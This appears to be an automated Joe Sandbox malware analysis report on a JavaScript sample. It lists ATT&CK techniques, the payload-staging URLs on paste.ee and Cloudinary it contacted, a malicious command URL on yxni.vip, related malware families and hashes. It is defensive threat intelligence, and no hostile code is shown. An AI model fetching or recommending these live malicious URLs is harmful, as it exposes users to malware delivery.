Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	511 Process Injection	4 Obfuscated Files or Information	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	1 Scheduled Task/Job	1 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	511 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1013911.js	11%	ReversingLabs	Script-JS.Exploit.Generic

Source	Detection	Scanner	Label	Link
http://www.yxni.vip/skhs/?q2gYNc=YYGtc0vZDxBZaqOUfK8EjJlrwUEGCmw9C1cdleHi+lzAM/tSLZDkT6oQFAP0CoyED8RVRESu2LRjuGrjAaGK14wgZjrklmy8P/7KZtR3AGJqubIGbQJuqGM=&i7g0=S7yiJ01bbdLMH	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
paste.ee	104.21.84.67	true	false	high
cloudinary.map.fastly.net	151.101.1.137	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
www.yxni.vip	192.186.57.30	true	true	unknown
res.cloudinary.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://paste.ee/d/69SP6	false		high
https://paste.ee/r/5zfAV/0	false		high
http://www.yxni.vip/skhs/?q2gYNc=YYGtc0vZDxBZaqOUfK8EjJlrwUEGCmw9C1cdleHi+lzAM/tSLZDkT6oQFAP0CoyED8RVRESu2LRjuGrjAaGK14wgZjrklmy8P/7KZtR3AGJqubIGbQJuqGM=&i7g0=S7yiJ01bbdLMH	true	Avira URL Cloud: safe	unknown
https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	choice.exe, 0000000A.00000003.2388557028.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	choice.exe, 0000000A.00000003.2388557028.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	choice.exe, 0000000A.00000003.2388557028.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	false	high
http://paste.ee	powershell.exe, 00000005.00000002.1963200942.0000028286DEF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com;	wscript.exe, 00000000.00000002.2398543416.00000237612CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390641520.00000237612CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.00000282872F3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://paste.ee/d/69S	wscript.exe, 00000000.00000003.2389360512.000002375F128000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2398163728.000002375F129000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389226631.000002375F123000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	choice.exe, 0000000A.00000003.2388557028.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	false	high
https://analytics.paste.ee	wscript.exe, 00000000.00000002.2398543416.00000237612CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390641520.00000237612CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.00000282872F3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://paste.ee	wscript.exe, 00000000.00000003.2390482161.000002375F11F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2398084060.000002375F11F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390126097.000002375F11F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.0000028286DEF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore6	powershell.exe, 00000003.00000002.2278601121.00000176B8678000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	choice.exe, 0000000A.00000003.2388557028.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	choice.exe, 0000000A.00000003.2388557028.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	false	high
https://paste.ee/d/69SP	wscript.exe, 00000000.00000003.2390482161.000002375F11F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2398084060.000002375F11F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390126097.000002375F11F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	choice.exe, 0000000A.00000003.2388557028.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com	wscript.exe, 00000000.00000002.2398543416.00000237612CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390641520.00000237612CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.00000282872F3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	choice.exe, 0000000A.00000003.2388557028.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	false	high
https://paste.ee/	wscript.exe, 00000000.00000003.2389360512.000002375F174000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390620725.000002375F17C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2398310964.000002375F17E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://analytics.paste.ee;	wscript.exe, 00000000.00000002.2398543416.00000237612CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390641520.00000237612CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.00000282872F3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdnjs.cloudflare.com	wscript.exe, 00000000.00000002.2398543416.00000237612CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390641520.00000237612CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.00000282872F3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore68	powershell.exe, 00000003.00000002.2278601121.00000176B8690000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdnjs.cloudflare.com;	wscript.exe, 00000000.00000002.2398543416.00000237612CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390641520.00000237612CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.00000282872F3000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.2278601121.00000176B8645000.00000004.00000800.00020000.00000000.sdmp	false	high
https://paste.ee/d/69	wscript.exe, 00000000.00000002.2397950475.000002375F090000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	choice.exe, 0000000A.00000003.2388557028.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	false	high
https://secure.gravatar.com	wscript.exe, 00000000.00000002.2398543416.00000237612CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390641520.00000237612CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.00000282872F3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://themes.googleusercontent.com	wscript.exe, 00000000.00000002.2398543416.00000237612CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390641520.00000237612CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.00000282872F3000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
151.101.1.137	cloudinary.map.fastly.net	United States	54113	FASTLYUS	false
192.186.57.30	www.yxni.vip	United States	395776	FEDERAL-ONLINE-GROUP-LLCUS	true
104.21.84.67	paste.ee	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567224
Start date and time:	2024-12-03 10:04:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1013911.js
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.winJS@15/9@3/3
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 96% Number of executed functions: 73 Number of non-executed functions: 250
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 23.32.238.121, 23.32.238.152, 192.229.221.95, 52.165.164.15
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, a767.dspw65.akamai.net, download.windowsupdate.com.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, azureedge-t-prod.trafficmanager.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Execution Graph export aborted for target powershell.exe, PID 7464 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 1013911.js

Simulations

Behavior and APIs

Time	Type	Description
04:05:00	API Interceptor	71x Sleep call for process: powershell.exe modified
04:06:24	API Interceptor	632683x Sleep call for process: choice.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
151.101.1.137	http://itsecurityupdate.com	Get hash	malicious	Unknown	Browse
	https://www.payment.token2049.com/page/3156941?widget=true&	Get hash	malicious	Unknown	Browse
	https://pitch.com/public/655a5c71-d891-49c9-aedc-7c00de75174d	Get hash	malicious	Unknown	Browse
	https://www.postman.com/postman-account/	Get hash	malicious	Unknown	Browse
	https://pitch.com/public/f3efe39e-ece6-4e9c-abe8-1a8052876a2f	Get hash	malicious	Unknown	Browse
	http://url1578.fundawithjyoti.com/ls/click?upn=yFeSTx5DQPiItplIvZtCPdAv3GpeMYxjprPyDOCgTw1xm5EF-2BSU-2FZwHfXBSOkRTYIwSi_PM4alGcAZ86A1O3u51J4mEQLFGtubxWdVTg6-2FcJBO1jp9oyNXZ6mQSzeNX-2B7VKKHaPBntWFf6zrDi2LaKqtvUzASDJDri9snRnhQmfVJu93OvrNKf6Snskbo4Mar5fZfKgMrMZV4l2iAuDUHqpnBu4YaiZKY2P5OfELBNW9EfAa-2Bok0-2FIzO3PqWMlvgZ-2Fje-2FUU8UZBB1GxMGbjln9hLRizR8o-2Fr50XlWOzT0j9e1u4nN66dlXcpcm5W2p7cHgy5GE7mk2dn5NzOWuGvU2lGlr0NN3TD0cG7S4-2BjTresT7iZcn-2BAPBTa7I25wE9mA8TVmpfnjR4h9ZIBZWWJUW7TK929wF1RSkjooMmCtEk4K5GC1sj7iJpvWk-2BhZBRiN-2BsTXm3yWxaq8MVvX2pZ37cZLxGXME0rnnb84oAEnXw9piVOzqcTP8hhqQH4ZlHnyNDwBIS4Mav7-2BGywdgWfbuvCEFheFdZoHpKiKAPQnnBUuCY-2FKQjMYjvPsHNMtI4G4rjtmVkrXr9Aw3lrHejW-2FVq1tIkTK6WHtZyqprzbin6N1UrjzZ27Iu09egdWJUN6FoiB0yRpNYIvO0xs4ncpF6m7kT9F7zNhlO4-2Fn41yMLMfCywxEgIGAdzizC6vZalFQqzXfvLP5uQrdsFEvgXTZ1Uq23AFkvmhLmefr5OZh8f5SasfPLx08zJxZeINsv2YigPAW5TK7c9dAoOi32BKFv-2FP5qJIhzdOIWWRkPfDi1GZjxIDHkkUOQsdGXFwKX5GHPFk2DAsz2yAsUZxOKp40NHQm-2BOlBdtsFRs4dO9adR1QT-2F8OCf-2BLxBlXPYley6fhoPj850B2eVJ4DvMsA7QLr-2FX1aPQe8Eh9ozsOqOl-2FWqEH5zP49MOYRxvkitzx89YSOXTqM&c=E,1,-IYx59KsfzGYtK54bJA2fYABiNk3BZVZFDoiFUZPOnduDII2JTWNl4pt0tezpZxBRNlQtMTJXh0gayWDNghKvyhRHgt1ZkW4KYejOeeszJ5dYA,,&typo=1	Get hash	malicious	Unknown	Browse
	http://url1578.fundawithjyoti.com/ls/click?upn=yFeSTx5DQPiItplIvZtCPdAv3GpeMYxjprPyDOCgTw1xm5EF-2BSU-2FZwHfXBSOkRTY9VfP_LkNaGjuMCrzJijP9uh5w57wdISsksD9CBfEZ-2BrfK6ZUpdJZpybqcBifmJzUAvvwhAVHMxRUmUMr-2BxO7spTdP0ysoCSsRZw4-2Bqt5aYqgpU-2BweQIHrxwwrQwtKLhUFxZbuEzR0-2B1DDFfaN0u5mO9NJ78LGH7PNZSst0DP98TtCXNQ-2BEclNP4eRWT1vtsoTyFo9rc04sDl2-2BeZpmQ0vdMbC0EYiNG6hWr4ETvZ6w8uelsK-2B4xFpRygn6HaRMN4qGIOLDMfrTBwyaRtU05-2BMkllrHT9-2F-2BhZQUODx74s7ttVjTcDcwqfPvq47cnMo51YFx8jZPaBArTyBMXadMJxZUR-2B-2FTczxW10IHB-2B7gMx-2F5ntMlvqLjK-2BKT5vcom-2FYuqq2PbapPcywbeAeSLd7fSRpVqO5bnW6Ie3apQNjMN-2FKrpQf2ao49p-2FvPho99k49DXIPb-2BIrCBiV5yAP2Xg-2BIQ9H6V9hHmXebme9ef73yjbom9Y7sA8kWAiiFCEtjx-2ByV9QKnWrMXfV0zLwzpGvl6KWeYX45fH-2BQ0gVvd52UZw7z6Y8bwMOqoEVZ1CAwiA1ZI1n3amGEghly4r30O34EdzWa2OeZcooKwEE52ZANqsMMAgiwX-2FXeGg-2BXLQehO84roPzTVCB1vq42r1qNxXzzoDwEBUD37jI0S0Nz-2B7R5uYEnr4aa22GanbYwjvrOmFr8MkGEoqTYZhbBBRFA11TGS6ks36EN7F-2BzsOP1YayRt4rgbqnCwL-2Fx8K6-2FR4NL-2BkRCH5fpH5YEmCsLXcZPzO8Cq2S00OugSL99m8qNGYy0HUFuCuqiMlOgTxvkp7SxVXsMCSuQxD1YxqpkH7EZwGl-2FfbdZcy09AeG8ePiepg1tADVQCxeQaKw-3D	Get hash	malicious	Unknown	Browse
	http://v9wmp.wehoo.cc/34546de4235m342356?affsub2=qJxbdSCOq&st=8/7/2023%202:30:36%20AM	Get hash	malicious	Unknown	Browse
	https://investordaily.us5.list-manage.com/track/click?u=b5150547bc871ea4865df93c3&id=bccc4d28c8&e=fd283ff2f0	Get hash	malicious	HTMLPhisher	Browse
	https://asset.cloudinary.com/djrburxlv/8550016f9904cb3410d98650cd7adc91	Get hash	malicious	HTMLPhisher	Browse
104.21.84.67	Doc261124.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	paste.ee/d/MQJcS
	Chitanta bancara - #113243.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/u4bvR
	rdevuelto_Pagos.wsf	Get hash	malicious	AgentTesla	Browse	paste.ee/d/SDfNF
	Product list 0980DF098A7.xls	Get hash	malicious	Unknown	Browse	paste.ee/d/enGXm
	Payment_advice.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/wXm0Y
	SHREE GANESH BOOK SERVICES-347274.xls	Get hash	malicious	Unknown	Browse	paste.ee/d/eA3FM
	dereac.vbe	Get hash	malicious	Unknown	Browse	paste.ee/d/JZHbW
	P018400.xla.xlsx	Get hash	malicious	Unknown	Browse	paste.ee/d/kmRFs
	comprobante0089.xla.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/cJo7v
	RFQ l MR24000112.xla.xlsx	Get hash	malicious	Unknown	Browse	paste.ee/d/EgkAG

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cloudinary.map.fastly.net	http://christians-google-sh-97m2.glide.page/dl/d0a5f4	Get hash	malicious	Unknown	Browse	151.101.129.137
	Steelcase Series 1 Sustainable Office Chair _ Steelcase.html	Get hash	malicious	Unknown	Browse	151.101.129.137
	https://jenifer-lopezz.pages.dev/	Get hash	malicious	Unknown	Browse	151.101.129.137
	https://bookme.name/simonmed/us	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	151.101.129.137
	http://carajasnutricaoanimal.com	Get hash	malicious	Unknown	Browse	151.101.65.137
	http://itsecurityupdate.com	Get hash	malicious	Unknown	Browse	151.101.1.137
	https://link.mail.beehiiv.com/ss/c/SFMS2DGC_3bR2eTtelyfFUzhcGs9TWsEeQw8nQp279J9B9upNohe5IND2DzRg4GfFe3uzMCkwl0VCcFF4p9tdZ71PSC4SlxBXIoR6qgai_e9KXQu46yVwLcidRn-ax90dry5wHpUbN5t2kTBuqVHtjiUR148OM6f2kzv0FbM9-j2d8Pfv1aAiA8m-jIRZ1qPGcwv7cKHtg7zS7k4vguTCgqcLvbDJq61ZPMm3FUyJbd-2ROdV-1aYJVxlO48nGuxkYE6PJ8AjBLfTrwxiX4S2X3JBdpAgH-S1qPrWFIUFnwhW_rcr9w0IZhVJg2k6UwPe0XxcmVm_hXa3Zy0nKOCBvO11zW3IuzS0wT0aqoeUGhUZL_BJAovHWU-78ta_hn0kcmqrlBzh66Yb9lBLgDUfmEypG1yBWRlXPRZ1w7redaJaooKiPuwr2V5n8bXDS9_yWg2USHIOqCrcsTtBGYogmSv3HnV9rD8TCUiXo47xhMBVMzr7StZWjjgT4kZsxK7CX-zIn8YCCC8lkjyOEp6xgdXFjETIB4df5tQm7lBbPlCZ99btsVwezxOnJZ4MV1piJOH9CONfmhGD5405v_OGQ0ddDY5d31qqadrUj9T5uo/422/2hUrqrZHQZSMSqb_7MA2RQ/h1/bXAkiKjrMazQzzpENtDvosiaH2ZRcmZd0aMxcbDunvM	Get hash	malicious	Unknown	Browse	151.101.193.137
	https://www.payment.token2049.com/page/3156941?widget=true&	Get hash	malicious	Unknown	Browse	151.101.1.137
	https://pitch.com/public/655a5c71-d891-49c9-aedc-7c00de75174d	Get hash	malicious	Unknown	Browse	151.101.1.137
	https://www.postman.com/postman-account/	Get hash	malicious	Unknown	Browse	151.101.1.137
paste.ee	asegurar.vbs	Get hash	malicious	Unknown	Browse	104.21.84.67
	geHxbPNEMi.vbs	Get hash	malicious	Unknown	Browse	172.67.187.200
	Doc261124.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.84.67
	MT103-8819006.DOCS.vbs	Get hash	malicious	Unknown	Browse	172.67.187.200
	Rooming list.js	Get hash	malicious	Remcos	Browse	104.21.84.67
	segura.vbs	Get hash	malicious	Remcos	Browse	172.67.187.200
	asegurar.vbs	Get hash	malicious	AsyncRAT, DcRat	Browse	104.21.84.67
	PNSBt.js	Get hash	malicious	AsyncRAT	Browse	172.67.187.200
	LETA_pdf.vbs	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	172.67.187.200
	PO 2725724312_pdf.vbs	Get hash	malicious	Unknown	Browse	172.67.187.200
s-part-0035.t-0009.t-msedge.net	fred.html	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	untrippingvT.ps1	Get hash	malicious	Unknown	Browse	13.107.246.63
	1L8qjfD9J2.exe	Get hash	malicious	Njrat	Browse	13.107.246.63
	INTRUM65392.pdf.lnk	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	PI-02911202409#.xla	Get hash	malicious	Unknown	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	fred.html	Get hash	malicious	Unknown	Browse	151.101.130.137
	file.exe	Get hash	malicious	Unknown	Browse	151.101.193.91
	file.exe	Get hash	malicious	Unknown	Browse	151.101.1.91
	Quarantined Messages-9.zip	Get hash	malicious	Unknown	Browse	151.101.2.137
	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	file.exe	Get hash	malicious	Unknown	Browse	151.101.1.91
	file.exe	Get hash	malicious	Unknown	Browse	151.101.65.91
	file.exe	Get hash	malicious	Unknown	Browse	151.101.65.91
	file.exe	Get hash	malicious	Unknown	Browse	151.101.1.91
	file.exe	Get hash	malicious	Unknown	Browse	151.101.1.91
FEDERAL-ONLINE-GROUP-LLCUS	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	192.186.10.220
	vJSyCK4is2.elf	Get hash	malicious	Mirai	Browse	192.186.57.229
	12029.exe	Get hash	malicious	GuLoader	Browse	192.186.7.211
	qmF3fz3Zn4.exe	Get hash	malicious	GuLoader	Browse	192.186.7.211
	file.exe	Get hash	malicious	GuLoader	Browse	192.186.7.211
	file.exe	Get hash	malicious	Glupteba, GuLoader, Socks5Systemz, Stealc	Browse	192.186.7.211
	file.exe	Get hash	malicious	GuLoader	Browse	192.186.7.211
	J21vdSW40R.exe	Get hash	malicious	GuLoader	Browse	192.186.7.211
	file.exe	Get hash	malicious	GuLoader	Browse	192.186.7.211
	file.exe	Get hash	malicious	GuLoader	Browse	192.186.7.211
CLOUDFLARENETUS	fred.html	Get hash	malicious	Unknown	Browse	172.67.212.141
	attached invoice.exe	Get hash	malicious	FormBook	Browse	172.67.159.24
	https://dsiete.co/share.html	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	https://web.goods-full.link/#/pages/recharge/components/order?type=usdt	Get hash	malicious	Unknown	Browse	104.21.66.212
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	cHtIyrhXeG.lnk	Get hash	malicious	Unknown	Browse	104.16.230.132
	HiDOalUAfc.lnk	Get hash	malicious	Unknown	Browse	104.16.231.132
	dFezsjdHtg.lnk	Get hash	malicious	Unknown	Browse	104.16.230.132
	pjAYMCVbvK.lnk	Get hash	malicious	Unknown	Browse	104.16.231.132

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	fred.html	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://dsiete.co/share.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://web.goods-full.link/#/pages/recharge/components/order?type=usdt	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	Quarantined Messages-9.zip	Get hash	malicious	Unknown	Browse	13.107.246.63
	1L8qjfD9J2.exe	Get hash	malicious	Njrat	Browse	13.107.246.63
	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	KMS_VL_ALL_AIO.cmd	Get hash	malicious	Unknown	Browse	13.107.246.63
	Recent Services Delays Update.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	13.107.246.63
3b5074b1b5d032e5620f69f9f700ff0e	untrippingvT.ps1	Get hash	malicious	Unknown	Browse	104.21.84.67 151.101.1.137
	yT6gJFN0SR.lnk	Get hash	malicious	Unknown	Browse	104.21.84.67 151.101.1.137
	mX3IqRiuFo.lnk	Get hash	malicious	Unknown	Browse	104.21.84.67 151.101.1.137
	6K2g0GMmIE.lnk	Get hash	malicious	Unknown	Browse	104.21.84.67 151.101.1.137
	G9eWTvswoH.lnk	Get hash	malicious	Unknown	Browse	104.21.84.67 151.101.1.137
	INTRUM65392.pdf.lnk	Get hash	malicious	Unknown	Browse	104.21.84.67 151.101.1.137
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.21.84.67 151.101.1.137
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.84.67 151.101.1.137
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.84.67 151.101.1.137
	https://Lakeheadu.hlov.de/Szii3aFWcmivgihoevuc/trTlqgskL4/K3qRQz5Ggziclxgen/t3JiPvu/Szii3aFWcmivgihoevuc/Advising/YSxMdD/lakeheadu.ca/Szii3aFWcmivgihoevuc	Get hash	malicious	HTMLPhisher	Browse	104.21.84.67 151.101.1.137
37f463bf4616ecd445d4a1937da06e19	cHtIyrhXeG.lnk	Get hash	malicious	Unknown	Browse	104.21.84.67
	HiDOalUAfc.lnk	Get hash	malicious	Unknown	Browse	104.21.84.67
	dFezsjdHtg.lnk	Get hash	malicious	Unknown	Browse	104.21.84.67
	pjAYMCVbvK.lnk	Get hash	malicious	Unknown	Browse	104.21.84.67
	MyLUNcS8wx.lnk	Get hash	malicious	Unknown	Browse	104.21.84.67
	INTRUM65392.pdf.lnk	Get hash	malicious	Unknown	Browse	104.21.84.67
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Nymaim, RHADAMANTHYS, Stealc, Vidar	Browse	104.21.84.67
	00onP4lQDK.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.84.67
	678763_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.84.67
	doc02122024782020031808174KR1802122024_po_doc_00000(991KB).vbs	Get hash	malicious	GuLoader, Remcos	Browse	104.21.84.67

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	158537
Entropy (8bit):	5.5298288159427935
Encrypted:	false
SSDEEP:	3072:XsYLPbdfgSBsYLPa60th/n/70xxeWTBIRArQnDvxRQ0AMmXLMkAvZjpKy+DNmX/n:XdbJTBdbAAdbJTBdba
MD5:	09C464C5A093ABE3B6DCFFCB63B707A6
SHA1:	A49070306F8B1337361B621EFAFEEF0AEE9EF6F9
